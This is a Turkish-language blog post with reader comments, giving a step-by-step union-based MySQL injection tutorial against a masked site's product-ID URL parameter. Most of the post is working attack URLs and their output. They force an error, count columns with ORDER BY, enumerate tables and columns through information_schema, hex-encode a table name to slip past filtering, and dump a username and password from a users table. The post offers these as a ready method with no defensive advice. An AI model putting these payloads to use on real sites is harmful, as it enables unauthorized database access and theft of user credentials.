MySQL Injection Nedir ve Nasıl Yapılır?
Teknolojinin gelişmesi ve kullanılabilirlik açısından daha kolay sağlanması için uğraşlar sürüyor. Öte yandan güvenlik olarak en önemli kuruluşlar bile bazen çaresiz kalıyor. Bugün sizlere anlatmak istediğim konu MySQL Injection Nedir ve MySQL Injection Nasıl Yapılır? ve Mysql Versiyon 5 için SQL Injection’un nasıl yapılacağıdır. Son zamanlarda, bypass yöntemlerinden ve diğer SQLi açıklarından bahsedeceğim. Umarım vereceğim bilgileri faydalı bir şekilde kullanırsınız.
SQLi Nedir ? Nasıl Çalışır ?
Sitenin kodlama aşamasında dikkate alınması gereken bir konu diyebiliriz.Yapılan SQL sorgularını filtrelemeden geçirmeden direk GET,POST,REQUEST değerlerini alıp yazdırmak daha sonradan dışarıdan verilen bir SQL komutu sistemi tetikleyerek sorguyu başarılı bir şekilde gerçekleştirir. Var olan veritabanından gerekli kullanıcı bilgilerini vs. çekerek amacına ulaşmış olur.
#mySQL Injection Başlıyor.
Öncelik olarak yapılması işlemlerden biri ise siteye hata verdirmektir. Bir sitede hata varsa açık kapı var demektir. Herhangi bir bypass yöntemi uygulamadan direkt olarak nasıl yapıldığından bahsedeceğim. Bypass için ayrıca bir konu açmayı düşünüyorum.
*****.com test edeceğimiz hayali sitemiz olsun.
Site:
http://www.*****.com/disp_prod.php?prcaid=130
Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130’a
var olan sitenin sonuna ‘a ekleyerek siteye hata verdirmeye çalıştık. Ve karşımıza böyle bir hata kodu çıktı:
Syntax error or access violation: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’a’ at line 1
Bu demek oluyor ki biraz daha zorlarsan şifreleri sana vereceğim. 😀
Vakit kaybetmeden sitenin kolon sayılarını deneyelim bunu nasıl yapacağız derseniz.
sitenin sonuna “ order by 1 ” ekleyerek devam edeceğiz. oradaki 1 sayısını site hata verene kadar arttıracağız yani “ order by 2 ” , “ order by 3 ” gibi enterladığınızda %20 olarak ekleniyorsa boşluk yerine + işareti koymanız URL’in okunabilirliğini arttırır.
Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130 order by 6
Hatamızı 6. satırda aldık buda demek oluyor ki kolon sayımız 5 yani onun bir altı, hemen listeleyelim.
Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130 UNION SELECT 1,2,3,4,5
Siteyi post ettiğimiz zaman sayfa değişecektir,karşıma 3 sayısı çıktı. Şimdi yapmamız gereken şey version kaç olup olmadığınız kontrol etmemiz. Bunu da şu şekilde yapıyoruz.
Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130 UNION SELECT 1,2,@@version,4,5
ister “ @@version ” isterseniz de “ version() ” ikisinide kullanabilirsiniz. Ben @@version olanını kullanmayı tercih ediyorum.
Output:
5.1.63-community-log
Versiyonumuz 5 konu anlatımımıza uyuyor. 😀 Bu arada diyebilirsiniz ki version4 ile version5 arasındaki fark nedir? Arasındaki fark version4 de tablo isimlerini vs kendimiz deneme yanılma ile bulmamız gerekiyor. version5 te ise böyle bir derdimiz yok.
Database ismini görmek için: database() komutunu kullanabilirsiniz.
Şimdi devam edebiliriz diye düşünüyorum. Şuan yapmamız gereken şey tablo isimlerini bulmak hemen deneyelim.
Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130 UNION SELECT 1,2,group_concat(table_name),4,5 FROM information_schema.tables WHERE table_schema=database()
Output:
announcement,banad,category,network_sale, news,news_lang,pages,products,
productsizes,queries,sizes,users
Yavaş yavaş kilidi çözmeye başlıyoruz. tablolara bakıyoruz işimize yarar ne var diye ben “ users ” tablosuna bakacağım. Hemen bakalım.
Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130 UNION SELECT 1,2,group_concat(column_name),4,5 FROM information_schema.columns WHERE table_name=users
Burada hata alabilirsiniz o yüzden ufak bir bypass yönteminden bahsedeceğim. vermiş olduğumuz table_name=users deki users i hex kodu ile encode edip başına 0x koyalım.
Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130 UNION SELECT 1,2,group_concat(column_name),4,5 FROM information_schema.columns WHERE table_name=0×7573657273
Output:
user_id_pk,user_name,user_login,user_pwd
Evet, kolonlarada ulaştığımıza göre sıra geldi verilere ulaşmaya bunun için yapmamız başa dönmek yani;
Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130 UNION SELECT 1,2,3,4,5 FROM users
diyerek users tablomuzdaki kolonlara ulaşmaya çalışalım 3 numaraya user_id_pk dedik ekran çıktısı değişti ve 1 oldu oraya ise user_login yazalım baktınız hiç bir değişiklik yok user_id_pk yi 1 numaraya yazarak user_login i 3’e yazın yani uygulamasını yaparsaksa:
Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130 UNION SELECT user_id_pk,2,user_login,4,5 FROM users
Output:
sharman
Şifreyi alalım.
Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130 UNION SELECT user_id_pk,2,user_pwd,4,5 FROM users
Output:
Sharman#11777
Yani burada şair demek istiyor ki:
Kullanıcı Adı: sharman
Şifre: Sharman#11777
Umarım faydalı olabilmişimdir. Soru sormak isteyenler konu altına yazarlarsa elimden geldiğince cevap vermeye çalışacağım.
Güvenli geceler 🙂
ErcanMedya
5 Ağustos 2015Ercan medya olarak başarılarınızın devamını dileriz 🙂
ercan mercan
1 Ağustos 2017teşekkürler hocam 🙂
tansiyon hakkında her şey
18 Nisan 2019bu kadar basit ise her sitenin ele geçirilmesi de basittir. elbette önlem almanın yolları mevcuttur ama hangi birini ve nasıl?